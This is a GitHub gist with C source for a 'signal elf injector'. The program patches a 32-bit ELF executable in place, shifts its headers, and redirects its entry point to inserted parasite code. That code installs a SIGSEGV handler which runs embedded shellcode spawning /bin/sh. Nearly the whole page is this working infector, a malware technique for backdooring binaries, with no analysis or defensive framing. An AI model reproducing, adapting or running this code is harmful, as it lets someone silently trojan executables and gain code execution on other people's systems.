Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@interfector
Created April 30, 2014 22:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save interfector/4d2b264927991eeb615f to your computer and use it in GitHub Desktop.
Save interfector/4d2b264927991eeb615f to your computer and use it in GitHub Desktop.
signal elf injector
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <elf.h>
#include <signal.h>
#define _DEBUG
static
unsigned char sig_shellcode[] = { 0x31, 0xc0, /* xor %eax, %eax */
0xb0, 0x30, /* mov $0x30, %al */
0x31, 0xdb, /* xor %ebx, %ebx */
0xb3, 0x0b, /* mov $0b, %ebx */
0xeb, 0x05, /* jmp +4 */
0x59, /* pop %ecx */
0xcd, 0x80, /* int $0x80 */
0xeb, 0xfe, /* jmp 0 */
0xe8, 0xf6, 0xff, 0xff, 0xff /* call -4 */
};
int
inject_elfcode(char *file, unsigned char *shellcode, int size, int child)
{
unsigned char asm_base_payload[] = {
0xb9, 0x00, 0x00, 0x00, 0x00, /* movl $old_entry, %ecx */
0x31, 0xc0, /* xor %eax,%eax */
0xb0, 0x02, /* movb $2,%al */
0xcd, 0x80, /* int $0x80 */
0x31, 0xdb, /* xor %ebx,%ebx */
0x39, 0xc3, /* cmp %eax,%ebx */
0x75, 0x02, /* jne/je jump_old_entry */
0xeb, 0x02, /* jmp shellcode */
0xff, 0xe1 /* jmp *%ecx ( jump_old_entry ) */
};
/* Code taken from evilsocket ELF32 Injector
* http://www.evilsocket.net
*
* START CODE
*/
int base_size = sizeof(asm_base_payload);
unsigned int srcsize;
unsigned char * srcbuffer;
Elf32_Ehdr *elf_header;
Elf32_Phdr *program_headers;
Elf32_Shdr *section_headers;
struct stat stat;
int i_fd, i, move = 0, parasite_offset = 0, bss_len = 0, o_fd, zero = 0;
/* alloc space for base shellcode + user command */
char *asm_payload = (char *)malloc( base_size + size );
int asm_payload_size = base_size + size;
/* asm_payload = asm_base_payload + params.command */
memcpy( asm_payload, asm_base_payload, base_size );
memcpy( asm_payload + base_size, shellcode, size );
if( !child )
asm_payload[15] = 0x74;
if( (i_fd = open( file, O_RDWR )) < 0 )
return 1;
if( fstat( i_fd, &stat ) < 0 )
return 1;
srcsize = stat.st_size;
/* read original file into a buffer */
srcbuffer = (unsigned char *)malloc( srcsize );
if( read( i_fd, srcbuffer, srcsize ) != srcsize )
return 1;
close(i_fd);
elf_header = (Elf32_Ehdr *)srcbuffer;
*(int*)&asm_payload[1] = elf_header->e_entry;
/* compute new elf header info and data for headers relocation */
program_headers = (Elf32_Phdr *)(srcbuffer + elf_header->e_phoff);
for( i = 0; i < elf_header->e_phnum; i++ )
{
if( program_headers->p_type != PT_DYNAMIC )
{
if( program_headers->p_type == PT_LOAD && program_headers->p_offset )
{
parasite_offset = program_headers->p_offset + program_headers->p_filesz;
elf_header->e_entry = program_headers->p_memsz + program_headers->p_vaddr;
bss_len = program_headers->p_memsz - program_headers->p_filesz;
break;
}
}
++program_headers;
}
/* update elf section headers */
section_headers = (Elf32_Shdr *)(srcbuffer + elf_header->e_shoff);
for( i = 0; i < elf_header->e_shnum; i++ )
{
if( section_headers->sh_offset >= parasite_offset )
section_headers->sh_offset += asm_payload_size + bss_len;
++section_headers;
}
/* update elf program headers */
program_headers = (Elf32_Phdr *)(srcbuffer + elf_header->e_phoff);
for( i = 0; i < elf_header->e_phnum; i++ )
{
if( program_headers->p_type != PT_DYNAMIC ){
if(move)
{
program_headers->p_offset += asm_payload_size + bss_len;
} else if( program_headers->p_type == PT_LOAD && program_headers->p_offset )
{
program_headers->p_filesz += asm_payload_size + bss_len;
program_headers->p_memsz += asm_payload_size + bss_len;
move = 1;
}
}
++program_headers;
}
/* update elf header with new parasite code offset and write relocated data to the destination file */
elf_header->e_shoff += (elf_header->e_shoff >= parasite_offset ? asm_payload_size + bss_len : 0);
elf_header->e_phoff += (elf_header->e_phoff >= parasite_offset ? asm_payload_size + bss_len : 0);
if( (o_fd = open( file, O_RDWR | O_EXCL, stat.st_mode )) < 0 )
return 1;
if( write( o_fd, srcbuffer, parasite_offset ) < 0 )
return 1;
for( i = 0; i < bss_len; i++ )
write( o_fd, &zero, 1 );
if( write( o_fd, asm_payload, asm_payload_size ) < 0 )
return 1;
if( write( o_fd, srcbuffer + parasite_offset, stat.st_size - parasite_offset ) < 0 )
return 1;
close(o_fd);
free(srcbuffer);
return 0;
/* END CODE */
}
int
inject_elf_signal( char* file, unsigned char* shellcode, int size, int signal )
{
unsigned char* asm_payload = malloc( sizeof(sig_shellcode) + size );
memcpy( asm_payload, sig_shellcode, sizeof(sig_shellcode) );
memcpy( asm_payload + sizeof(sig_shellcode), shellcode, size );
asm_payload[7] = *((unsigned char*)&signal);
return inject_elfcode(file, asm_payload, sizeof(sig_shellcode) + size, 0);
}
int
main(int argc,char **argv)
{
char shellcode[] = /*\x31\xc0\xb0\x30\x31\xdb\xb3\x0b\xeb\x05\x59\xcd\x80\xeb\xfe\xe8\xf6\xff\xff\xff*/"\x90\x60\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x68\x2d\x63\x63\x63\x89\xe1\x52\xeb\x07\x51\x53\x89\xe1\xcd\x80\x61\xe8\xf4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
inject_elf_signal( argv[1], shellcode, sizeof(shellcode) - 1, SIGSEGV );
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment